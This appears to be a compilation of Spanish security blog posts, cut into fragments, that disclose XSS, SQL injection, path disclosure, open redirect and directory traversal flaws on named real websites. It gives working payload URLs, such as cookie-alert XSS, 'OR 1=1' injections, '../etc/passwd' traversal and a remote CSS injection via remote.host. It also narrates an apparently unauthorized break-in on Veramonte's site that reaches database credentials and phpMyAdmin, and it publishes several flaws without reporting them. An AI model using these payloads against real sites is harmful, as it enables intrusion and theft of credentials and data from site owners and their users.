La vulnerabilidades encontradas fueron del tipo “descubrimiento de informacion” que nos permitieron descubrir el path, el usuario de sistema, usuario de base de datos, nombre de la base de datos, nombres de las tablas, etc. Por otro lado, encontramos tambien script y formularios vulnerables a XSS.
Las vulnerabilidades fueron corregidas 1 dia despues de haber sido reportadas.
Las URLs afectadas son:

- http://www.eset-la.com/centro-amenazas/article.php
- http://www.eset-la.com/company/article.php
- http://www.eset-la.com/rss/podcasts
- http://www.eset-la.com/centro-amenazas/descarga/compania/cool_stuff.php
- http://www.eset-la.com/xtrasappz/ajax/events.ajax.php
- https://ps.eset-la.com/forms/prospectos.php
- https://ps.eset-la.com/forms/numeros_serie_registracion.php

Estas dos ultimas con https.

Los errores o warnings no estan deshabilitados en el servidor que publico. Se pueden apreciar errores que permiten descubrir el full-path de la aplicacion:

http://www.eset-la.com/centro-amenazas/article.php?contentID[]=aa
o
http://www.eset-la.com/company/article.php?contentID[\]=1379

Los scripts que permitian Cross-Site Scripting:

- https://ps.eset-la.com/forms/prospectos.php?promocode=tt%3C/script%3E%3Cbody%20onload=javascript:alert%28document.cookie%29%3E

- https://ps.eset-la.com/forms/prospectos.php?promocode=6969%22%3E%3Ciframe%20src=http://www.google.com.mx%3E&css=%22%3Eaa

Permitian inyectar codigo mediante la variable “promocode” y mediante la variable “css” era posible decirle al sitio que su archivo de hoja de estilo lo fuera a buscar a una URL externa, de esta forma se pasaria cualquier tipo de filtro que pudiese tener el sitio, por ejemplo:

- https://ps.eset-la.com/forms/numeros_serie_registracion.php?lang=es&css=http://remote.host/devel/poc.css?ps.eset-la.com

En nuestro “poc.css” remoto podriamos tener codigo css que incluya instrucciones javascript.
Todos los que pertenecen al subdominio “ps” usan la confianza del usuario en el sitio, ya que tiene un certificado SSL valido, el cual el usuario podria perfectamente confiar en una URL maliciosa.

Timeline:

- Descubiertas: 2 de Abril del 2011
- Reportadas: 6 de Abril del 2011
- Solucionadas: 7 de Abril del 2011

Las URL vulnerables corresponden al buscador de terra: buscador.terra.cl; al sitio de “seguridad”: seguridad.terra.cl; sitio web mobil:m.terra.cl; sitio web principal:www.terra.cl;y un sub-portal: acaballo.terra.cl

Timeline
* 25/Diciembre/2010: Se encuentran las vulnerabilidades.
* 27/Diciembre/2010: Se reportan.
* 28/Diciembre/2010: No se obtiene respuesta. Se publican.

La primera vulnerabilidad corresponde a un XSS encontrado en el buscador:

La pagina “Default.aspx” no está validando ni filtrando los datos pasados por la variable “query”.

La segunda vulnerabilidad tambien corresponde a XSS, pero afecta al sitio seguridad.terra.cl:

Tambien corresponde a un script asp que no valida ni filtra el valor de la variable “Pagina”, pudiendo inyectar código html o javascript

La tercera vulnerabilidad es una del tipo “Full Path Disclosure“; nos permite ver la ruta absoluta donde está la aplicación. Esta vulnerabilidad es bastante particular, ya que no he podido reproducirla en ningun otro script del mismo sitio. La URL http://www.terra.cl/deportes/index.cfm?accion=futbolnacional&id_reg=1518438 muestra una noticia o información correspondiente al id 1518438, sin embargo, si le agregamos dos puntos (..) al final de la URL, podemos ver un error que nos muestra la información:

Se pueden ver los dos puntos al final de la URL, lo que nos muestra el siguiente mensaje:

La cuarta vulnerabilidad es una SQL-Injection, afecta sl subdominio acaballo.terra.cl, especificamente a la URL http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460. Podemos hacer que se queje si agregamos la tipica comilla (‘) al final de la URL

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php on line 274

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php on line 275

O bien manejar la query para que nos devuelva verdadero y no muestre error, por ejemplo:

http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460%20OR%201=1;%20–

Ademas de poder inyectar SQL, nos revela información del path absoluto.

La quinta y última vulnerabilidad nos permite redireccionar al usuario a cualquier sitio fuera de terra.cl, la url vulnerable es http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&pais=CL&urlRetorno=

Si a la variable urlRetorno se le pasa un valor de una URL cifrado en base64, el usuario será redireccionado a ese sitio. Por ejemplo, si ciframos http://www.google.cl en base64, quedaría aHR0cDovL3d3dy5nb29nbGUuY2w=, si ingresamos a la URL completa:

http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&pais=CL&urlRetorno=aHR0cDovL3d3dy5nb29nbGUuY2w=

Podemos ver como el navegado se va automaticamente al sitio de Google. De esta forma,es posible hacer que un usuario ingrese a un sitio malicioso, usando la confianza del dominio de terra.cl.

Vamos a probar con las típicas rutas de Drupal para iniciar sesión, administrar el sistema, directorios de archivos subidos, themes, etc. A ver si encontramos algo interesante que nos pueda entregar información.

Si vemos el código fuente podemos deducir los siguientes paths:

modules/ Los módulos core de Drupal
sites/all
sites/all/modules Los módulos instalados manualmente
sites/default Directorio donde están los archivos subidos, configuraciones, etc

El primero “error” que encontramos, es el poder iniciar sesión sin validación de un captcha, de esta forma podemos hacer facilmente fuerza bruta al formulario de inicio de sesión de Drupal.

Para llegar a esta pantalla, debemos tipear en la barra de direcciones user/login.

http://www.efrei.cl/user/login

Si bien esto no es ningun fallo, bug o vulnerabilidad, hay que tener en claro que siento un sitio de un candidato presidencial y pensando en la cantidad de gente que piensa en hackear un sitio asi, no podemos dejar el inicio de sesión tan a simple vista y sin captcha.

Drupal es un CMS (o CMF) basado en módulos, para cualquier cosa que quieras hacer, debes hacer un módulo. Existe un módulo llamado “quicktabs” que tiene una vulnerabilidad de descubrimiento del directorio (Full Path Disclosure), al no validar el tipo de variable. Gracias a este módulo, hemos descubierto la ruta de instalación física de Drupal:

El directorio de instalación de Drupal es, claramente, /www/efrei.cl/html/. Tambien podemos ver esta misma vulnerabilidad en el módulo de calendario al ingresar a la URL:

http://www.efrei.cl/calendar?field_region_value_many_to_one[]=All

Seguramente hay más módulos instalados que nos puedan proveer de ésta información, pero sólo son éstas dos vulnerabilidades o fallos los que he podido encontrar, el sitio tiene la seguridad que Drupal provee, los directorios no permiten listar su contenido, tiene zonas de acceso restringido, etc.

We consider path disclosures a server configuration error. WordPress
files don’t protect against disclosing paths when directly loaded.

En otras palabras, no es considerado un error o una vulnerabilidad ya que corresponde a un problema de configuración del servidor.
Pueden leer un hilo donde se discute sobre el tema.

Este problema lo reporté a security en wordpress.com el mismo día que hice la publicación pero no obtuve respuesta.

Ahora les mostraré los otros ficheros por los cuales es posible descubrir la ruta completa del sistema y las posibles soluciones que me han palnteado.

Dentro del directorio wp-admin/import tenemos varios ficheros php:

blogger.php
blogware.php
btt.php
dotclear.php
greymatter.php
jkw.php
livejournal.php
mt.php
opml.php
rss.php
stp.php
textpattern.php
utw.php
wordpress.php
wp-cat2tag.php

Todos vulnerables.
Dentro de wp-admin/includes tenemos los siguientes ficheros vulnerables:

admin.php
class-ftp-pure.php
class-ftp-sockets.php
class-wp-filesystem-direct.php
class-wp-filesystem-ftpext.php
class-wp-filesystem-ftpsockets.php
class-wp-filesystem-ssh2.php
comment.php
continents-cities.php
file.php
media.php
misc.php
plugin-install.php
plugin.php
schema.php
template.php
theme-install.php
update.php
upgrade.php
user.php

La solución que plantea esta persona es la siguiente:

o bien

Esta persona me comentó que haría una publicación en su sitio web al respecto, pero no la encuentro. Les dejo el enlace a su blog por si las moscas: http://rollanwar.net

Con una URL de este tipo, es posible forzar un FPD modificando las variables “dir” y “test”, cambiadolas por cualquier cosa que sepamos que no existe y de esta forma obtendremos un fichero php con un error, el cual nos revelará el path de la aplicación. Si cambiamos el valor de la variable “dir” a “../../../../../../etc/” y “file” a “passwd”, es muy probable que nos deje descargar el fichero /etc/passwd, lo mismo con cualquier otro fichero. De esta misma forma, podemos ir descargando uno a uno los códigos fuentes del sistema php y poder acceder a los usuarios y claves de conexion a la base de datos y otro tipo de información confidencial.

Me voy a basar en casos reales y tomando como ejemplo los típicos errores e irresponsabilidades de programación de los desarrolladores.

Este es un script que me descargué hace un tiempo y no recuerdo de que sitio, pero es un ejemplo real y lo más probable es que aún esté en línea. Si nos fijamos línea por línea, el script realiza lo siguiente:

Lee las variables directamente desde la URL (GET) y en primera instancia, obtiene el valor de la variable “nombre” y se la asigna a $nombre, esto es para darle el nombre al archivo una vez que lo descarguemos. Luego, en la variable $enlace, guardará el path completo de lo que deseamos descargar, si le pasamos por URL los parametros folder=archivos/&archivo=test.pdf, el valor de la variable $enlace será “archivos/test.pdf”. Luego se enviarle las cabeceras al navegador, el script php leerá el fichero correspondiente al valor de la variable $enlace y forzará al navegador a descargarlo. De esta forma, si modificamos la url a nuestro modo, podremos descargar el fichero que queramos, ya que el script no tiene ninguna validación.

La forma correcta para hacer un script de este tipo, sería sin trabajar directamente con los parametros pasados por url y tenerlos encapsulados en algun lugar, ya sea en una base de datos, un switch o como sea, pero nunca directamente o bien, teniendo definido de forma explícita el directorio donde se trabaja.
Si tomamos el mismo ejemplo anterior y lo corregimos, debería quedar algo así:

De esta forma, jamás podremos cambiar el valor de la variable “$folder” y nunca podremos descargar un fichero que esté detrás del directorio de descarga explícitamente definido “archivos_para_descarga”. Esto, sería una forma rápida y fácil de solucionarlo, pero creo que la mejor forma es volver a hacerlo y hacerlo bien. Teniendo un “administrador” de subidas que almacene la información en una base de datos para luego realizar la descarga sólo con el ID del fichero o bien, hacer las descargas directamente con su path absoluto (http://sitio.com/archivos_para_descarga/2009/mi_documento.pdf).

Como ya he dicho, este error es muy común y basta con preparar una búsqueda con los parámetros necesarios en Google para poder acceder a sitios con estas vulnerabilidades. El problema es que con este bug, no solo comprometes la seguridad de tu sistema y de tu usuario, tambien la seguridad del resto de los usuarios del servidor, ya que el script se ejecutará como usuario www-data o apache (en la mayoría de los servidores) y tiene acceso no solo a tus ficheros.

Fatal error: Call to undefined function add_action() in /home/XXYYZZ/public_html/wp-content/plugins/akismet/akismet.php on line 26

Hablando un poco sobre la vulnerabildiad FPD y recordando lo que dije en el post pasado, explotar esta vulnerabilidad no significa que podamos hacer grandes cosas, simplemente nos entregará información que podría ser utilizada para lo que uno estime conveniente.

Analizando más profundamente el código y el error, podemos encontrar (siguiendo con Akismet) las siguientes líneas:

Sólo en esas líneas se hace unas cuantas veces la llamada a la función “add_action()” que no es validada antes de ser ejecutada, sin embargo, otras funciones si lo están (por ej. mirar línea 18). Lo mismo sucede en hello.php y en muchos otros plugins muy usados.

Para detectar esta vulnerabilidad los plugins que tenemos instalados podemos ejecutar el siguiente comando dentro del directorio wp-content/plugins:

find . -name "*.php" -exec grep -H add_action {} \;

Y obtendremos un resultado como el siguiente:

./wp-gravatar/gravatars.php:add_action(‘admin_menu’, ‘gravatar_admin_menu’);
./wp-gravatar/gravatars.php:add_action(‘plugins_loaded’, ‘widget_authdescription_init’);
./wp-gravatar/gravatars.php:add_action(‘plugins_loaded’, ‘widget_recent_comments_gravatars_register’, 1);
./smart-youtube/smartyoutube.php:add_action(‘admin_menu’, ‘yte_add_pages’);
./smart-youtube/smartyoutube.php:add_action( ‘plugins_loaded’, ‘yte_install’ );
./smart-youtube/smartyoutube.php:add_action( ‘after_plugin_row’, ‘yte_check_plugin_version’ );
./chili-code-highlighter/chili-code-highlighter.php:add_action( ‘plugins_loaded’, create_function( ”, ‘global $ChiliCodeHighlighter; $ChiliCodeHighlighter = new ChiliCodeHighlighter();’ ) );
./wp-db-backup/wp-db-backup.php:add_action(‘plugins_loaded’, ‘wpdbBackup_init’);
./subscribe2/counterwidget.php:add_action(‘plugins_loaded’, ‘widget_s2counter_init’);
./add-to-any/add-to-any.php:add_action(‘init’, ‘A2A_SHARE_SAVE_textdomain’);
./add-to-any/add-to-any.php:add_action(‘the_content’, ‘A2A_SHARE_SAVE_to_bottom_of_content’, 98);
./add-to-any/add-to-any.php:add_action(‘wp_head’, ‘A2A_SHARE_SAVE_button_css’);
./add-to-any/add-to-any.php:add_action(‘admin_head’, ‘A2A_SHARE_SAVE_admin_head’);
./add-to-any/add-to-any.php:add_action(‘admin_menu’, ‘A2A_SHARE_SAVE_add_menu_link’);
./creative-commons-license-widget/ccLicense.php:add_action(‘widgets_init’, ‘widget_ccLicense_init’);
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(‘init’, ‘init_textdomain’);
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(‘admin_menu’, ‘wp_add_related_posts_options_page’);
./twitter-updater-using-tinyurl/twitter_updater.php:add_action ( ‘save_post’, ‘vc_twit’);
./twitter-updater-using-tinyurl/twitter_updater.php:add_action(‘admin_menu’, ‘vc_addTwitterAdminPages’);
./simplepie-core/simplepie_core.php:add_action(‘admin_menu’, ‘simplepie_core_options’);
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘edit_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘publish_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘save_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘edit_page_form’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘init’, array($aiosp, ‘init’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘wp_head’, array($aiosp, ‘wp_head’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘template_redirect’, array($aiosp, ‘template_redirect’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘admin_menu’, array($aiosp, ‘admin_menu’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘admin_menu’, ‘aiosp_meta_box_add’);
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action( ‘admin_notices’, ‘aioseop_activation_notice’);
./google-analyticator/google-analyticator.php:add_action(‘admin_init’, ‘ga_admin_init’);
./google-analyticator/google-analyticator.php:add_action(‘admin_menu’, ‘add_ga_option_page’);
./google-analyticator/google-analyticator.php:add_action(‘init’, ‘ga_outgoing_links’);
./google-analyticator/google-analyticator.php:add_action(‘plugin_action_links_’ . plugin_basename(__FILE__), ‘ga_filter_plugin_actions’);
./google-analyticator/google-analyticator.php:add_action(‘wp_ajax_ga_ajax_accounts’, ‘ga_ajax_accounts’);
./google-analyticator/google-analytics-stats-widget.php:add_action(‘widgets_init’, ‘GoogleStatsWidget_init’);
./akismet/akismet.php:add_action(‘init’, ‘akismet_init’);
./akismet/akismet.php:add_action(‘admin_init’, ‘akismet_admin_init’);
./akismet/akismet.php:add_action(‘wp_set_comment_status’, ‘akismet_submit_spam_comment’);
./akismet/akismet.php:add_action(‘edit_comment’, ‘akismet_submit_spam_comment’);
./akismet/akismet.php:add_action(‘preprocess_comment’, ‘akismet_auto_check_comment’, 1);
./akismet/akismet.php:add_action(‘admin_menu’, ‘akismet_manage_page’);
./akismet/akismet.php:add_action(‘activity_box_end’, ‘akismet_stats’);
./akismet/akismet.php:add_action(‘rightnow_end’, ‘akismet_rightnow’);
./akismet/akismet.php:add_action(‘manage_comments_nav’, ‘akismet_check_for_spam_button’);
./akismet/akismet.php:add_action(‘admin_action_akismet_recheck_queue’, ‘akismet_recheck_queue’);
./akismet/akismet.php:add_action(‘init’, ‘widget_akismet_register’);
./source-code-syntax-highlighting-plugin-for-wordpress/deans_code_highlighter.php:add_action(‘admin_menu’, ‘dl_reg_admin’);
./flickr-widget/flickr_widget.php:add_action( “init”, “flickr_widgets_init” );

La lista de plugins afectados es muy grande, sólo en este caso (mi wordpress) tenemos 15:

wp-gravatar
smart-youtube
chili-code-highlighter
wp-db-backup
subscribe2
add-to-any
creative-commons-license-widget
wordpress-23-related-posts-plugin
twitter-updater-using-tinyurl
simplepie-core
all-in-one-seo-pack
google-analyticator
akismet
source-code-syntax-highlighting-plugin-for-wordpress
flickr-widget

Para corregirlo simplemente debemos agregar, a cada llamada de la función, la siguiente validación:

Quizás a mucha gente no le interese este tema y piense que este tipo de vulnerabilidad no sirve y no les importa que sepan en que directorio está instalado el wordpress, aún así, pienso que es necesario que esto se corrija. No va a depender de los usuarios solucionar esto, sino de los desarrolladores.
Esta vulnerabilidad puede ser aprovechada no sólo para entrar a un sistema wordpress, puede ser combinada con otras vulnerabildiades como LFI o Directory Transversal y comprometer a las otras cuentas que estan en el servidor. Con esta información podemos obtener típicamente el nombre de usuario de la cuenta (luego ingresar por la IP agregando colita de chancho [~] y luego el username) y el directorio de ese usuario, que luego pueden ser usados para distintos fines.
Las personas que alguna véz hayan explotado este tipo de vulnerabilidad sabrán lo útil que puede llegar a ser al momento de querer penetrar un sistema.

Si lo miramos desde otro punto de vista, podríamos llegar a escalar el problema y decir que gran parte de la responsabilidad la tiene WordPress, todos los plugins deberían pasar por un test de calidad donde se verifiquen este tipo de cosas. La forma de operar que tienen los plugins de WordPress deberían ser, al menos, en un entorno WP. ¿Me explico? Debería existir una forma de determar que el fichero php se está ejecutando bajo el entorno wordpress y no por si solo (por ejemplo al llamar a hello.php), ya sea con un método, constante, variable, etc, algo tan simple como un if:

Otra forma de solucionarlo, sería deshabilitando los mensajes de advertencia y errores por lado del servidor, pero insisto, creo que la solución no es por parte de los usuarios, sino de los desarrolladores.

Según OWASP:

Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view.

Según Acunetix:

Description
By injecting unexpected data into a parameter. it’s possible to generate an error that will reveal the full path of the script.

Impact
A remote user can determine the full path to the web root directory and other potentially sensitive information.

Si bien esta vulnerabilidad no es peligrosa, es una ayuda para obtener información que nos permitirá a explotar otro tipo de vulnerabilidades como por ejemplo Local File Include, por ejemplo en el caso que publiqué hace un tiempo del sitio de Veramonte, en el cual la combiné con una Directory Traversal.

La clásica forma para lograr explotar esta vulnerabilidad es transformando las variables sospechosas pasadas por GET a arreglos, por ejemplo: http://sitio.com/index.php?module=login&action=blabla → http://sitio.com/index.php?module[]=login&action=blabla. Seguramente, si el sitio está mal desarrollado, lo que hará el sistema es intentar incluir el archivo “login”,”login.php”, “login.inc.php”, etc obteniendo el nombre del fichero desde la variable “module” y si esta variable es un arreglo, mostrará un error o un warning donde podremos ver el path completo del sitio.
Otra forma muy común es, teniendo el mismo caso anterior, remplazar “login” por cualquier cosa: http://sitio.com/index.php?module=asioansiuabnasi&action=blabla, entonces el sistema intentará incluir el fichero “asioansiuabnasi” y como no existe, pues mostraráun warning o error.

Este error nos puede otorgar información como el nombre de usuario, nombre del framework o del “sistema” que se está usando y ruta física donde se encuentra. Este método nos va a servir para buscar otras “puertas de entradas” al sitio web, por ejemlo mediante la dirección IP y el nombre de usuario: http://200.55.55.55/~usuario pudiendo generar otro tipo de errores o buscar otro tipo de vulnerabilidades.

Hace un tiempo descubrí un bug (hasta el momento no estaba reportado) en un plugin para WordPress muy usado, que me revela la ruta exácta de la instalación del CMS. Pronto escribiré algo al respecto.

En ese momento, me comuniqué con los encargados e intercambiamos 4 o 5 correos. Les comuniqué que tanto su sitio como sitios de clientes tenian graves vulnerabilidades, les dije exactamente que tipo de vulnerabilidades tenian y la forma de corregirlas. Luego de esto, la gente de GoldenData me preguntó si le podía hacer auditoría a otros sitios que tienen ellos … y yo, nada de tonto, le dije que si, pero como era un servicio que ellos me estaban pidiendo les cobraría mis horas hombre, luego de este último correo… la gente no se contactó nunca más conmigo… pues claro, querían que les hiciera auditoria gratis. Ahora me entero que la gente cambió totalmente el sitio web de su empresa pero no ha corregido los sitios de sus clientes. Esta véz no me centraré en GoldenData.cl, hablaré sobre los desarrollos que hacen ellos, es decir, sus clientes:

• http://www.artpetit.cl/
• http://www.videocity.cl/
• http://www.arapemaquetas.cl/
• http://www.questor.cl/
• http://www.almendradec.cl/
• http://www.kelsopro.cl/
• http://www.zanartu.cl/
• http://www.riosycia.cl/
• http://www.beeone.cl/

Tampoco me desgastaré en algo que ya hice: Comunicarme con la empresa, ya que además de ser aprovechadores, no supieron dar la cara.

Antes de empezar hice un análisis rápido a todos los sitios para descartar los que no tengan vulnerabilidades a simple vista. Los sitios descartados son: beeone.cl, almendradec.cl, kelsopro.cl, zanartu.cl y questor.cl. Empezaré a analizar las restantes:

1- http://www.artpetit.cl/
Las URL sospechosas para realizar LFI, RFI y XSS son las siguientes:

1. http://artpetit.cl/productos.php?categoria=Miniaturas
2. http://artpetit.cl/?pag=contactenos
3. http://artpetit.cl/?pag=contactenos&codigo=009F2&nombre=Oso%20en%20Balanc%EDn

Si intentamos agregar un código como por ejemplo <script>alert(object)</script> o cambiar el valor de la variable pag por algun path interno o externo (rfi, lfi) nos mostrara un mensaje que nos dirá: Not Acceptable.

Por lo que, si bien parecen ser vulnerables, no lo son. Por otro lado, si transformamos la variable pag o categoria a un arreglo (pag[]) veremos que el nos imprime el valor del Array, lo que nos dice automáticamente que no está parseando los valores de entrada, el mensaje “Not Acceptable” es a nivel de servidor y no de aplicación. Este error no ses crítico y no compromete en absoluto la seguridad del sistema.

http://artpetit.cl/productos.php?categoria[]=asdf

2- http://www.videocity.cl/
Si navegamos por el menú podremos ver una url como http://www.videocity.cl/#vitrina.php?dpto=Audio, lo primero que se nos ocurrirá es cambiar el valor de la variable dpto pero veremos que no tiene ningún resultado, la página se sigue viendo exáctamente igual. El truco es el siguiente: Remover el símbolo “#” y dejar la URL de la siguiente forma:

http://www.videocity.cl/vitrina.php?dpto=<script>alert(this)</script> y veremos que nos va a mostrar el alert. Con esto demostramos que este sitio es vulnerable a XSS, pudiendo insertar un iframe para realizar phishing o usar el sitio para cualquier cosa que nos imaginemos.
Podemos intentar el mismo truco para otras url donde se almacenen los id o secciones. Este sitio tiene el mismo error que el anterior al transformar alguna variable a Array.

3- http://www.arapemaquetas.cl/
Si intentamos hacer XSS a las URL del menú nos encontraremos con el mismo error que en el primer caso: Not acceptable. Sin embargo, la técnica de transformar la variable en un array nos permitirá saber el path del sitio dentro del sistema. A esto se le llama Full Path Disclosure.
La URL es:

http://www.arapemaquetas.cl/maquetas.php?categoria[]=Arquitectura

Obtendremos un resultado como:

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include() [function.include]: Failed opening ‘htmls/array.html’ for inclusion (include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/arapemaq/public_html/maquetas.php on line 18

4- http://www.riosycia.cl/
Este sitio es vulnerable a XSS mediante la siguiente URL:

http://www.riosycia.cl/productos_categorias.php?categoria=%3Cscript%3Ealert%28this%29%3C/script%3E

Si recorremos los distintos links del sitio podremos encontrar la ruta a un fichero llamado clave.php:

http://www.riosycia.cl/aplicaciones/clave.php

Si ingresamos un correo cualquiera nos dirá que no está en la base de datos, sin embargo, si ingresamos el comodín

‘ or ’1′=’1

Nos dirá que el correo fue enviado a esa dirección. Lo que nos comprueba que ese formulario es vulnerable a SQL Injnection.

Vulnerabilidades detectadas: Full Path Disclosure, SQL Injection, XSS.
Alcance de las vulnerabilidades: Uso del sitio para hacer phishing y, mediante SQLi tener una infinidad de opciones para realizar ataques, incluyendo un D-o-S.
Errores detectados: Parametros de entrada sin filtros.

Como conclusión podemos decir que estas personas no  dedican tiempo al tema de la seguridad ya que los sitios que no eran vulnerables es porque son sitios estáticos y feos y aquellos que al intentar violarlos aparecia el menasje de “Not Acceptable” es porque el servidor donde esa empresa tenia alojada el sitio web estaba protegido. Esto último explica el hecho de que los sitios hechos de la misma forma funcionen en un servidor y en otros no.

Por lo tanto, NO recomiendo esta empresa.

Habien dicho todo esto, llego el momento de la acción. Wanna rock?

El sitio que usaremos será el de Veramonte y las vulnerabilidades que explotaré enseñaré son Full Path Disclosure y Directory Transversal (no explicaré que significa cada una ya que para eso está google y no quiero quitarle sus clientes).
Como primer paso, ingresaremos al sitio http://www.veramonte.cl y mriaremos rápidamente si encontramos algo sospechoso, a simple vista podemos encontrar una posible url candidata a ser explotada:

http://www.veramonte.cl/archivo/archivo2.php?cat=bodega

Pero si intentamos hacer cualquier cosa, nos damos cuenta de que no podemos hacer mucho Por ende, seguimos profundizando. En este caso, yo llegue lograr hasta la siguiente url:
http://www.veramonte.cl/admin/download.php?path=

Mis ojos se dirigieron directamente a la variable “path” y fui probando, hasta lograr mi objetivo: Descargar y navegar por los archivos como si fuese un ftp personal. Empezando por descargarme el mismo fichero download.php y ver como está hecho:

Eso nos dice CLARAMENTE que el fichero esta mal programado, no tiene ningun tipo de validación ni de protección, por lo que es explotable. Continuamos con la azaña, vamos a provocar un path disclosure introduciendo una ruta inválida, por ejemplo:
http://www.veramonte.cl/admin/download.php?path=asdfgh
Nos encontramos que php nos muestra el siguiente error:

Warning: fopen(asdfg) [function.fopen]: failed to open stream: No such file or directory in /var/www/veramonte/html/admin/download.php on line 5

Warning: fpassthru(): supplied argument is not a valid stream resource in /var/www/veramonte/html/admin/download.php on line 6

Con esto ya tenemos el full path al descubierto: /var/www/veramonte/html.
La cosa acá se pone divertida, descarguemonos el /etc/passwd:
http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd
Nos encontramos con la sorpresa de que el servidor está “protegido”:

Pero no importa, aún podemos seguir jugando. Descargamos el index.php para saber como funciona el sitio, que ficheros incluye, a que directorios hace referencia, etc etc.

Lo único que podemos rescatar el index es lo siguiente (código php):

La primera línea me interesó muchisimo, me descargaré ese fichero, con las esperanzas de que estén escritos los datos de conexión a la base de datos y ……. bingo!!, lo tenemos:

Si probamos por ftp, veremos que no podemos ingresar, entonces buscamos más posibilidades. Como yo tengo un poco de imaginación, lo que se me ocurró fue ingresar en http://veramonte.cl/phpmyadmin:

Creo que con esto, el objetivo ya está logrado.

• rmm.cl
• eduvic.cl
• cronica.cl
• uss.cl (www.uss.cl y enred.uss.cl)

- Las vulnerabilidades XSS corresponden a los siguientes sitios:

http://www.rmm.cl/recursos.php?id_portal=335&seccion=[XSS]
http://www.eduvic.cl/doc.asp?id=1&nom=[XSS]
http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=[XSS]

- Los sitios con vulnerabilidad SQL Injection son:

http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=[SQL Injection]
http://www.uss.cl/alumnos/noticias_detalle.php?s=20040708164902&c=[SQL Injection]

- Full Path Disclosure

http://www.cronica.cl/edicion_cronica/seccion/articulo.php?dia=1190088000&seccion=[XXX]

Bonus track

http://twittersheep.com/results.php?u=[XSS]